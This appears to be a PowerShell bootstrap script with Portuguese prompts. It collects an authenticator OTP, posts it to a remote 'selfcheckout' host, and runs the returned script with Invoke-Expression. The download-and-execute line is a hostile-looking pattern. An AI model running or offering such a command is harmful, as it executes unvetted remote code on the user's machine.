$secureOtp = Read-Host "Digite o codigo OTP do autenticador" -AsSecureString $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureOtp) $otp = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr) [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr) try { $script = Invoke-RestMethod -Uri "https://get.selfcheckout.mundodev.cloud" -Method Post -Headers @{ "X-OTP" = $otp } $otp = $null Invoke-Expression $script } catch { Write-Host "Acesso Negado: Codigo OTP invalido ou expirado." -ForegroundColor Red }